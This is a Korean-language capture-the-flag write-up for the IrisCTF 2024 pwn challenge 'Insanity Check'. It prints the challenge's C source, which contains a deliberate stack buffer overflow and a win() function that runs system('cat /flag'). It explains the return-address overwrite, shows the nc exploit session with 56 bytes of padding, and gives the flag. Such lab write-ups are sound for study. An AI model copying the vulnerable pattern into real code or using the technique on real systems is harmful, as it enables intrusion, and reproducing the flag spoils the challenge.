[CTF Writeup / Pwn] IrisCTF 2024 - Insanity Check
[CTF Writeup] IrisCTF 2024 - [Pwn] Insanity Check
안녕하세요. 이번 글에서는 IrisCTF 2024에 출제된 [Pwn] Insanity Check 문제 writeup을 작성해보겠습니다.
I've tried the brand new michael-ld linker on my hello world program. I'm pretty sure it's super safe now.
문제에서 vuln 실행 파일과 vuln.c 파일을 제공해줍니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | #include <stdio.h> #include <stdlib.h> #include <string.h> void rstrip(char* buf, const size_t len) { for (int i = len - 1; i >= 0; i--) if (buf[i] == '\n') { buf[i] = '\0'; break; } } const char suffix[] = "! Welcome to IrisCTF2024. If you have any questions you can contact us at test@example.com\0\0\0\0"; int main() { char message[128]; char name[64]; fgets(name, 64, stdin); rstrip(name, 64); strcpy(message, "Hi there, "); strcpy(message + strlen(message), name); memcpy(message + strlen(message), suffix, sizeof(suffix)); printf("%s\n", message); } __attribute__((section(".flag"))) void win() { __asm__("pop %rdi"); system("cat /flag"); } | cs |
vuln.c 파일 내용을 확인해보면, flag를 얻기 위해 win() 함수를 실행시켜야 합니다.
name으로 64바이트 입력 받는데, memcpy 하는 과정에서 suffix의 길이가 94바이트라 suffix에 있는 데이터로 Overflow 발생이 가능합니다.
Ghidra로 win() 함수의 주소는 0x6d6f632e로, text로 표현하면 moc. 입니다. 즉, suffix에 있는 데이터 중 리턴값에 .com 부분으로 덮어쓰면 win() 함수가 될 것입니다.
gdb로 실행하며 RIP에 덮어 씌워지는 값을 확인해보니 56글자를 입력하면 win() 함수 주소로 덮어 씌워집니다.
$ nc insanity-check.chal.irisc.tf 10003
== proof-of-work: disabled ==
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
irisctf{c0nv3n13nt_symb0l_pl4cem3nt}

댓글
댓글 쓰기